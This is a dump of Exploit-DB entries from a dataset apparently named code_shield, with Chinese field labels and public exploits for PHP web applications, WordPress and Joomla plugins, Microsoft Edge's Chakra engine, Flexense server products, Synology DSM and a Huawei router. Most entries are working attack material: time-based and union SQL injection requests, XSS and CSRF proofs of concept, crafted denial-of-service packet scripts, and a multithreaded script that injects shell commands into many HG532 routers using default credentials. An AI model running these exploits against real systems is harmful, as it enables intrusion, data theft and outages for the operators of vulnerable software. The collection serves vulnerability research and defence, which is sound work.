QLWD/code_shield huggingface dataset:
标题: Muviko 1.1 - SQL Injection EDB-ID: 43477 CVE: 2017-17970 类型: WEBAPPS 平台: PHP 发布日期: 2018-01-10 漏洞利用脚本: # Exploit Title: Muviko 1.1 - Multiple SQL Injection
# Exploit Author: Ahmad Mahfouz 
# Contact: http://twitter.com/eln1x
# Date: 09/01/2018
# CVE: CVE-2017-17970
# Vendor Homepage: https://www.muvikoscript.com
# Version: 1.1
# Tested on: Mac OS

 

 

--------------------------------------------------------------------------------------------------------

# SQL Injection: login.php form parameter [POST] email

 

POST /login.php HTTP/1.1

Host: localhost

User-Agent: Mozilla/5.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Cookie: PHPSESSID=rrnaq7ssxxxxx9g6b7jd7415

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 45

 

email=admin@dmin.com'%2b(select*from(select(sleep(20)))a)%2b'&password=admxn&login=

 

--------------------------------------------------------------------------------------------------------

# SQL Injection: load_season.php form parameter [GET] season_id

 

GET /themes/flixer/ajax/load_season.php?season_id=-19'+union+all+select+1,2,3,4,5,6,7,8,9--+-&season_number=1 HTTP/1.1

Host: localhost

User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.04

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

X-Requested-With: XMLHttpRequest

Cookie: PHPSESSID=rrnaq7ssxxxxx9g6b7jd7415

Connection: close

 

--------------------------------------------------------------------------------------------------------

 

# SQL Injection get_raring.php parameter [GET] movie_id

 

GET /themes/flixer/ajax/get_rating.php?movie_id=9'+AND+SLEEP(5)+AND+'AAA'='AAA HTTP/1.1

Host: localhost

User-Agent: Mozilla/5.0

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

X-Requested-With: XMLHttpRequest

Cookie: PHPSESSID=rrnaq7ssxxxxx9g6b7jd7415

Connection: close

 

--------------------------------------------------------------------------------------------------------

# SQL Injection update_rating.php parameters [GET] rating,movie_id

 

GET /themes/flixer/ajax/update_rating.php?movie_id=[SQL]&rating=[SQL] HTTP/1.1

Host: localhost

User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.04

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

X-Requested-With: XMLHttpRequest

Cookie: PHPSESSID=rrnaq7ssxxxxx9g6b7jd7415

Connection: close

 

--------------------------------------------------------------------------------------------------------

# SQL Injection set_player_source.php parameters [GET] id

GET /themes/flixer/ajax/set_player_source.php?id=[SQL]&is_series=1&is_embed=0 HTTP/1.1

Host: localhost

User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.04

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

X-Requested-With: XMLHttpRequest

Cookie: PHPSESSID=rrnaq7ssxxxxx9g6b7jd7415

Connection: close URL: https://www.exploit-db.com/exploits/43477
标题: Joomla! Component Easydiscuss < 4.0.21 - Cross-Site Scripting EDB-ID: 43488 CVE: 2018-5263 类型: WEBAPPS 平台: PHP 发布日期: 2018-01-10 漏洞利用脚本: # Exploit Title: Joomla Plugin Easydiscuss <4.0.21 Persistent XSS in Edit Message
# Date: 06-01-2018
# Software Link: https://stackideas.com/easydiscuss
# Exploit Author: Mattia Furlani
# CVE: CVE-2018-5263
# Category: webapps

1. Description

Whenever a user edits a message with <\textarea> inside the body, everything after the <\textarea> will be executed in the user’s browser. Works with every version up to 4.0.20


2. Proof of Concept

Login with permissions to post a message, insert <\textarea> in the body and add any html code after that, whenever a user tries to edit that message the code writed after you closed the textarea will be executed


3. Solution:

Update to version 4.0.21
https://stackideas.com/blog/easydiscuss4021-update URL: https://www.exploit-db.com/exploits/43488
标题: Microsoft Edge Chakra JIT - Escape Analysis Bug EDB-ID: 43469 CVE: 2017-11918 类型: DOS 平台: WINDOWS 发布日期: 2018-01-09 漏洞利用脚本: /*
Escape analysis: https://en.wikipedia.org/wiki/Escape_analysis

Chakra fails to detect if "tmp" escapes the scope, allocates it to the stack. This may lead to dereference uninitialized stack values.

PoC:
*/

function opt() {
    let tmp = [];
    tmp[0] = tmp;
    return tmp[0];
}

function main() {
    for (let i = 0; i < 0x1000; i++) {
        opt();
    }

    print(opt());  // deref uninitialized stack pointers!
}

main(); URL: https://www.exploit-db.com/exploits/43469
标题: WordPress Plugin Events Calendar - 'event_id' SQL Injection EDB-ID: 43479 CVE: 2018-5315 类型: WEBAPPS 平台: PHP 发布日期: 2018-01-10 漏洞利用脚本: # Exploit Title: Wichipi Events Calendar - SQL Injection
# Date: 09-01-2018
# Exploit Author: Dennis Veninga
# Contact Author: d.veninga [at] networking4all.com
# Vendor Homepage: codecanyon.net/user/wachipi
# Version: 1.0
# CVE-ID: CVE-2018-5315

Events Calendar allows you to easily add to your website a powerful
interactive calendar to present your events.

Found 09-01-18
Vendor reply & fix 09-01-2018

The Wachipi WP Events Calendar plugin 1.0 for WordPress has SQL Injection
via the event_id parameter to event.php.

NOTE: this plugin is NOT related to the Modern Tribe Events Calendar plugin.

[Additional Information]
http://
{TARGET}/event.php?event_id=-123%20union%20all%20select%201,2,@@version,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29--

[Vulnerability Type]
SQL Injection

[Vendor of Product]
https://codecanyon.net/item/wp-events-calendar-plugin/5025660 Wachipi

[Affected Product Code Base]
Events Calendar - 1.0

[Affected Component]
events.php

[Attack Type]
Remote

[Impact Code execution]
true

[Impact Escalation of Privileges]
true

[Impact Information Disclosure]
true

[Attack Vectors]
To exploit, union select 29 columns.  User can use 2 or 25 for information
gathering.

[Discoverer]
Dennis Veninga @ Networking4all.com URL: https://www.exploit-db.com/exploits/43479
标题: Microsoft Edge Chakra JIT - Op_MaxInAnArray and Op_MinInAnArray can Explicitly call User-Defined JavaScript Functions EDB-ID: 43466 CVE: 2017-11893 类型: DOS 平台: WINDOWS 发布日期: 2018-01-09 漏洞利用脚本: /*
1. Call patterns like "Math.max.apply(Math, [1, 2, 3, 4, 5])" and "Math.max.apply(Math, arr)" can be optimized to directly call the method "JavascriptMath::MaxInAnArray" in the Inline Phase.
2. The method takes the original method "Math.max" as the first parameter and the arguments object as the second parameter.
3. If the arguments object can't be handled by the method, it explicitly calls the original method "Math.max".
4. But it doesn't check if the property "Math.max" has changed, so a user defined JavaScript function can be called without updating "ImplicitCallFlags".

Note: Math.min as well.

PoC:
*/

function opt(arr, arr2) {
    arr[0] = 1.1;
    Math.max.apply(Math, arr2);
    arr[0] = 2.3023e-320;
}

function main() {
    let arr = [1.1, 2.2, 3.3, 4.4];
    for (let i = 0; i < 10000; i++) {
        opt(arr, [1, 2, 3, 4]);
    }

    Math.max = function () {
        arr[0] = {};
    };

    opt(arr, {});  // can't handle, calls Math.max
    print(arr[0]);
}

main(); URL: https://www.exploit-db.com/exploits/43466
标题: Microsoft Edge Chakra JIT - BackwardPass::RemoveEmptyLoopAfterMemOp Does not Insert Branches EDB-ID: 43467 CVE: 2017-11909 类型: DOS 平台: WINDOWS 发布日期: 2018-01-09 漏洞利用脚本: /*
The optimizations for memory operations may leave empty loops as follows:

for (let i = 0; i < arr.length; i++) {
    arr[i] = 0;
}

Becomes:

Memset(arr, 0, arr.length);
for (let i = 0; i < arr.length; i++) {
    // empty!
}

These empty loops will be removed by "BackwardPass::RemoveEmptyLoopAfterMemOp". But this method just removes them without considering branches.

Here's what may happen.

A:
Memset(arr, 0, arr.length);

for (let i = 0; i < arr.length; i++) {
    
}
goto D;  // Actually, this's a "BrGe_I4" instruction in the PoC.

C:
...

D:
...

Becomes:

A:
Memset(arr, 0, arr.length);

C:
...

D:
...

So, this may break the control flow.


PoC:
*/

function opt(a, b, always_true = true) {
    a[0] = 1234;
    b[0] = 0;

    let arr = a;
    if (always_true) {
        arr = b;
        for (let i = 0; i < arr.length; i++)
            arr[i] = 0;
    }

    let val = arr[0];
    if (val) {
        print(val);  // Must be 0, but prints out 1234
        return true;
    }

    return false;
}

let a = new Uint32Array(1);
let b = new Uint32Array(0x1000);
for (let i = 0; i < 10000; i++) {
    if (opt(a, b)) {
        break;
    }
} URL: https://www.exploit-db.com/exploits/43467
标题: Vanilla < 2.1.5 - Cross-Site Request Forgery EDB-ID: 43462 CVE: 2017-1000432 类型: WEBAPPS 平台: PHP 发布日期: 2018-01-08 漏洞利用脚本: # Exploit Title: CSRF vulnerabilities in Vanilla Forums below 2.1.5-CVE-2017-1000432
# Google Dork: NA
# Date: 7/1/2018
# Contact: https://twitter.com/anandm47
#   website: https://anandtechzone.blogspot.in <https://t.co/MJ8SoRaIMn>
# Exploit Author: Anand Meyyappan
# Vendor Homepage: https://open.vanillaforums.com <https://open.vanillaforums.com/discussion/28337/vanilla-2-1-5-released-and-2-0-18-14>
# Software Link: https://open.vanillaforums.com/addon/vanilla-core-2.1
# Tested on: Windows, Linux
# CVE : CVE-2017-1000432

Description


Any registered user can delete topics and comments in forum without having admin access.



2.Proof Of Concept



Save the below code in html format, Once victim is logged into account. Use the below code.

<form method="post" action="https://www.site.com/forum/vanilla/discussion/dismissannouncement?discussionid=3709"> 
<input name=" DeliveryType" value="VIEW" class="input" type="hidden"> 
<input name=" DeliveryMethod" value="JSON" class="input" type="hidden"> <li>
<label><br></label><input value="Send" class="submit" type="submit"></li> </ul> 
</form>

3. Solution:


Update to version 2.5

https://open.vanillaforums.com/get/vanilla-core-2.5



#Reference

https://open.vanillaforums.com/discussion/28337/vanilla-2-1-5-released-and-2-0-18-14
https://www.cvedetails.com/cve/CVE-2017-1000432/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-1000432 URL: https://www.exploit-db.com/exploits/43462
标题: Synology DiskStation Manager (DSM) < 6.1.3-15152 - 'forget_passwd.cgi' User Enumeration EDB-ID: 43455 CVE: 2017-9554 类型: WEBAPPS 平台: CGI 发布日期: 2018-01-08 漏洞利用脚本: # Exploit Title: Synology DiskStation Manager (DSM) < 6.1.3-15152 - 'forget_passwd.cgi' User Enumeration 
# Date: 01/05/2018
# Exploit Author: Steve Kaun
# Vendor Homepage: https://www.synology.com
# Version: Before 6.1.3-15152
# CVE : CVE-2017-9554

Previously this was identified by the developer and the disclosure states "via unspecified vectors" it is possible to enumerate usernames via forget_passwd.cgi

Haven't identified any other disclosures that actually identified the attack vector, figure it would be helpful to another.


"An information exposure vulnerability in forget_passwd.cgi in Synology DiskStation Manager (DSM) before 6.1.3-15152 allows remote attackers to enumerate valid usernames via unspecified vectors."

Well then... Here you go, cracked the code and figured it out.

https://IP_Address:5001/webman/forget_passwd.cgi?user=XXX

Where XXX should be your injection point for username lists.

Several usernames I've found are admin, administrator, root, nobody, ftp, and more. I'm unsure of whether Synology is pulling these entries from it's passwd file or not, but there you go. URL: https://www.exploit-db.com/exploits/43455
标题: Sync Breeze Enterprise 10.1.16 - Denial of Service EDB-ID: 43453 CVE: 2017-15664 类型: DOS 平台: WINDOWS 发布日期: 2018-01-08 漏洞利用脚本: # Exploit Title: Sync Breeze Enterprise Server v10.1.16 - Denial of Service
# Date: 2017-10-20
# Exploit Author: Ahmad Mahfouz
# Software Link: http://www.syncbreeze.com/setups/syncbreezesrv_setup_v10.1.16.exe
# Version: v10.1.16
# Category; Windows Remote DOS
# CVE: CVE-2017-15664
# Author Twitter: @eln1x
# Description: Sync Breeze Enterprise Server v10.1.16, the Control Protocol suffers from a denial of service. The attack vector is a crafted SERVER_GET_INFO packet sent to control port 9121.

 

import socket
target = "192.168.72.231"
port = 9121
s  = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((target,port))

packet = "\x75\x19\xba\xab\x03"
packet +="\x00\x00\x00\x01\x00\x00\x00\x1a"
packet += "\x00"
packet += "\x3e" #evil
packet += "\x00"
packet += "\x20"
packet += "\x00"
packet += "\x00"
packet += "\x00"
packet += "\x00\x00\x00\x00"
packet += "SERVER_GET_INFO"
packet += "\x02\x32\x01"
packet += "Data"
packet += "\x01\x30\x01\x00"
packet += "\x04\x02\x74"
packet += "\x18\x18\x00"

s.send(packet)

try:

         data = s.recv(100)

         print data

except:

         print "K1LL3D" URL: https://www.exploit-db.com/exploits/43453
标题: Microsoft Edge Chakra - 'asm.js' Out-of-Bounds Read EDB-ID: 43468 CVE: 2017-11911 类型: DOS 平台: WINDOWS 发布日期: 2018-01-09 漏洞利用脚本: /*
Here's a snippet of AsmJSByteCodeGenerator::EmitAsmJsFunctionBody.
        AsmJsVar * initSource = nullptr;
        if (decl->sxVar.pnodeInit->nop == knopName)
        {
            AsmJsSymbol * initSym = mCompiler->LookupIdentifier(decl->sxVar.pnodeInit->name(), mFunction);
            if (initSym->GetSymbolType() == AsmJsSymbol::Variable)
            {
                // in this case we are initializing with value of a constant var
                initSource = initSym->Cast<AsmJsVar>();
            }
            ...
        }
        ...
        if (initSource)
        {
            if (var->GetType().isDouble())
            {
                mWriter.AsmReg2(Js::OpCodeAsmJs::Ld_Db, var->GetLocation(), mFunction->GetConstRegister<double>(initSource->GetDoubleInitialiser()));
            }

Chakra thinks the PoC is valid asm.js code. What happens when the variable "b" gets initialized is:
1. mCompiler->LookupIdentifier is called with "a" as the first argument. And it returns the local variable "a", which is of type int, but not the double constant "a".
2. mFunction->GetConstRegister fails to find the int value in the double constant table. So it returns -1 which leads OOB read.

PoC:
*/

function createModule() {
    'use asm';
    const a = 1.0;
    function f() {
        var b = a;
        var a = 0;
    }

    return f;
}
var f = createModule();
f(); URL: https://www.exploit-db.com/exploits/43468
标题: DiskBoss Enterprise 8.5.12 - Denial of Service EDB-ID: 43454 CVE: 2017-15665 类型: DOS 平台: WINDOWS 发布日期: 2018-01-08 漏洞利用脚本: # Exploit Title: DiskBoss Enterprise Server 8.5.12 - Denial of Service
# Date: 2017-10-20
# Exploit Author: Ahmad Mahfouz
# Software Link: http:///www.diskboss.com/setups/diskbosssrv_setup_v8.5.12.exe
# Version: v10.1.16
# Category; Windows Remote DOS
# CVE: CVE-2017-15665
# Author Homepage: www.unixawy.com
# Description: DiskBoss Enterprise Server 8.5.12 the Control Protocol suffers from a denial of service. The attack vector is a crafted SERVER_GET_INFO packet sent to control port 8094.

 

 

#!/usr/bin/env python

import socket

target = "192.168.72.133"
port = 8094
s  = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((target,port))

packet = "\x75\x19\xba\xab\x03"
packet +="\x00\x00\x00\x01\x00\x00\x00\x1a"
packet += "\x00"
packet += "\x3e"
packet += "\x00"
packet += "\x20"
packet += "\x00"
packet += "\x00"
packet += "\x00"
packet += "\x00\x00\x00\x00"
packet += "SERVER_GET_INFO"
packet += "\x02\x32\x01"
packet += "Data"
packet += "\x01\x30\x01\x00"
packet += "\x04\x02\x74"
packet += "\x18\x18\x00"

s.send(packet)

try:

         data = s.recv(100)

except:

         print "K1LL3D" URL: https://www.exploit-db.com/exploits/43454
标题: Disk Pulse Enterprise 10.1.18 - Denial of Service EDB-ID: 43452 CVE: 2017-15663 类型: DOS 平台: WINDOWS 发布日期: 2018-01-08 漏洞利用脚本: # Exploit Title: Disk Pulse Enterprise Server v10.1.18 - DOS,
# Date: 2017-10-20
# Exploit Author: Ahmad Mahfouz
# Software Link: http://www.diskpulse.com/setups/diskpulsesrv_setup_v10.1.18.exe
# Version: v10.1.18
# Category; Windows Remote DOS
# CVE: CVE-2017-15663
# Author Twitter: @eln1x
# Description In Disk Pulse Enterprise Server v10.1.18, the Control Protocol suffers from a denial of service. The attack vector is a crafted SERVER_GET_INFO packet sent to control port 9120.

 

 

import socket
target = "192.168.72.231"
port = 9120
s  = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((target,port))

packet = "\x75\x19\xba\xab\x03"
packet +="\x00\x00\x00\x01\x00\x00\x00\x1a"
packet += "\x00"
packet += "\x3e" #evil
packet += "\x00"
packet += "\x20"
packet += "\x00"
packet += "\x00"
packet += "\x00"
packet += "\x00\x00\x00\x00"
packet += "SERVER_GET_INFO"
packet += "\x02\x32\x01"
packet += "Data"
packet += "\x01\x30\x01\x00"
packet += "\x04\x02\x74"
packet += "\x18\x18\x00"

s.send(packet)

try:

         data = s.recv(100)
         print data

except:

         print "K1LL3D" URL: https://www.exploit-db.com/exploits/43452
标题: VX Search Enterprise 10.1.12 - Denial of Service EDB-ID: 43451 CVE: 2017-15662 类型: DOS 平台: WINDOWS 发布日期: 2018-01-08 漏洞利用脚本: # Exploit Title: VX Search Enterprise Server v10.1.12  - Denial of Service
# Date: 2017-10-20
# Exploit Author: Ahmad Mahfouz
# Software Link: http://www.vxsearch.com/setups/vxsearchsrv_setup_v10.1.12.exe
# Version: v10.1.12
# Category; Windows Remote DOS
# CVE: CVE-2017-15662
# Author Homepage: www.unixawy.com

# Description In Flexense VX Search Enterprise Server v10.1.12, the Control Protocl suffers from a denial of service. The attack vector is a crafted SERVER_GET_INFO packet sent to control port 9123.

 

import socket
target = "192.168.72.231"
port = 9123
s  = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect((target,port))
packet = "\x75\x19\xba\xab\x03"
packet +="\x00\x00\x00\x01\x00\x00\x00\x1a"
packet += "\x00"
packet += "\x3e" #evil
packet += "\x00"
packet += "\x20"
packet += "\x00"
packet += "\x00"
packet += "\x00"
packet += "\x00\x00\x00\x00"
packet += "SERVER_GET_INFO"
packet += "\x02\x32\x01"
packet += "Data"
packet += "\x01\x30\x01\x00"
packet += "\x04\x02\x74"
packet += "\x18\x18\x00"

s.send(packet)

try:

         data = s.recv(100)
         print data

except:

         print "K1LL3D" URL: https://www.exploit-db.com/exploits/43451
标题: EMC xPression 4.5SP1 Patch 13 - 'model.jobHistoryId' SQL Injection EDB-ID: 43422 CVE: 2017-14960 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2018-01-03 漏洞利用脚本: Title: EMC xDashboard - SQL Injection Vulnerability
Author: Pawel Gocyla
Date: 02 January 2018

CVE: CVE-2017-14960


Affected Software:
==================
EMC xPression v4.5SP1 Patch 13
Probably other versions are also vulnerable.


SQL Injection Vulnerability:
==============================
This vulnerability allows an attacker to retrieve information from the
database

Vulnerable parameter: "$model.jobHistoryId"

Exploit:

True Condition:  https://[victim]:4000/xDashboard/html/jobhistory/
jobDocHistoryList.action?model.jobHistoryId=1736687378927012979202234841133
and 1=1
False Condition: https://[victim]:4000/xDashboard/html/jobhistory/
jobDocHistoryList.action?model.jobHistoryId=1736687378927012979202234841133
and 1=2

Fix:
====
User input which is putted into sql queries should be properly filtred or
sanitized

References:
============
https://www.owasp.org/index.php/SQL_Injection

Contact:
========
pawellgocyla[at]gmail[dot]com URL: https://www.exploit-db.com/exploits/43422
标题: WordPress Plugin Smart Google Code Inserter < 3.5 - Authentication Bypass / SQL Injection EDB-ID: 43420 CVE: 2018-3811 2018-3810 类型: WEBAPPS 平台: PHP 发布日期: 2018-01-03 漏洞利用脚本: Exploit Title: Smart Google Code Inserter < 3.5 - Auth Bypass/SQLi
Google Dork: inurl:wp-content/plugins/smart-google-code-inserter/
Date: 26-Nov-17
Exploit Author: Benjamin Lim
Vendor Homepage: http://oturia.com/
Software Link: https://wordpress.org/plugins/smart-google-code-inserter/
Version: 3.4
Tested on: Kali Linux 2.0
CVE : CVE-2018-3810 (Authentication Bypass with resultant XSS)
CVE : CVE-2018-3811 (SQL Injection)


1. Product & Service Introduction:
==================================
Smart Google Code Inserter is a Wordpress plugin that makes it easy to add
Google Analytics tracking code as well as meta tag verification of
Webmaster Tools. As of now, the plugin has been downloaded 34,207 times and
has 9,000+ active installs.

2. Technical Details & Description:
===================================
Authentication Bypass vulnerability in the Smart Google Code Inserter
plugin 3.4 allows unauthenticated attackers to insert arbitrary javascript
or HTML code which runs on all pages served by Wordpress. The
saveGoogleCode() function in smartgooglecode.php does not check if the
current request is made by an authorized user, thus allowing any
unauthenticated user to successfully update the inserted code.

SQL Injection vulnerability, when coupled with the Authentication Bypass
vulnerability in the Smart Google Code Inserter plugin 3.4 allows
unauthenticated attackers to execute SQL queries in the context of the
webserver. The saveGoogleAdWords() function in smartgooglecode.php did not
use prepared statements and did not sanitize the $_POST["oId"] variable
before passing it as input into the SQL query.

3. Proof of Concept (PoC):
==========================

Code Insertion

curl -k -i --raw -X POST -d
"sgcgoogleanalytic=<script>alert("1");</script>&sgcwebtools=&button=Save+Changes&action=savegooglecode"
"http://localhost/wp-admin/options-general.php?page=smartcode" -H "Host:
localhost" -H "Content-Type: application/x-www-form-urlencoded"

SQL Injection

curl -k -i --raw -X POST -d "action=saveadwords&delconf=1&oId[]=1 OR
1=1--&ppccap[]=ex:mywplead&ppcpageid[]=1&ppccode[]=bb&nchkdel1=on" "
http://localhost/wp-admin/options-general.php?page=smartcode" -H "Host:
localhost" -H "Content-Type: application/x-www-form-urlencoded"

4. Mitigation
=============
Update to version 3.5

5. Disclosure Timeline
======================
2017/11/29 Vendor contacted
2017/11/30 Vendor acknowleged and released an update
2018/01/01 Advisory released to the public

6. Credits & Authors:
=====================
Benjamin Lim - [https://limbenjamin.com] URL: https://www.exploit-db.com/exploits/43420
标题: Huawei Router HG532 - Arbitrary Command Execution EDB-ID: 43414 CVE: 2017-17215 类型: WEBAPPS 平台: HARDWARE 发布日期: 2017-12-25 漏洞利用脚本: import threading, sys, time, random, socket, re, os, struct, array, requests
from requests.auth import HTTPDigestAuth
ips = open(sys.argv[1], "r").readlines()
cmd = "" # Your MIPS (SSHD)
rm = "<?xml version=\"1.0\" ?>\n    <s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\n    <s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\">\n    <NewStatusURL>$(" + cmd + ")</NewStatusURL>\n<NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL>\n</u:Upgrade>\n    </s:Body>\n    </s:Envelope>"

class exploit(threading.Thread):
  def __init__ (self, ip):
   threading.Thread.__init__(self)
   self.ip = str(ip).rstrip('\n')
  def run(self):
   try:
    url = "http://" + self.ip + ":37215/ctrlt/DeviceUpgrade_1"
    requests.post(url, timeout=5, auth=HTTPDigestAuth('dslf-config', 'admin'), data=rm)
    print "[SOAP] Attempting to infect " + self.ip
   except Exception as e:
    pass

for ip in ips:
 try:
  n = exploit(ip)
  n.start()
  time.sleep(0.03)
 except:
  pass URL: https://www.exploit-db.com/exploits/43414
标题: PHP Melody 2.7.1 - 'playlist' SQL Injection EDB-ID: 43409 CVE: 2018-5211 类型: WEBAPPS 平台: PHP 发布日期: 2017-12-31 漏洞利用脚本: # Exploit Title: PHP Melody v2.7.1 - SQL Injection
# Date: 30/12/2017
# Exploit Author: Ahmad Mahfouz 
# Contact: http://twitter.com/eln1x
# Vendor Homepage: http://www.phpsugar.com/ Buy http://www.phpsugar.com/phpmelody_order.html
# Version: 2.7.1
# Tested on: Mac OS
#
# SQL Injection Type: time-based blind
# Parameter: playlist
# Page: ajax.php
# URL: http://target.com/ajax.php?p=video&do=getplayer&vid=[VALID_VIDO_ID]&aid=1&player=detail&playlist=[SQLi]

 

GET /ajax.php?p=video&do=getplayer&vid=randomid&aid=1&player=detail&playlist='+(select*from(select(sleep(20)))a)+' HTTP/1.1
Host: localhost
Accept: text/html, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close URL: https://www.exploit-db.com/exploits/43409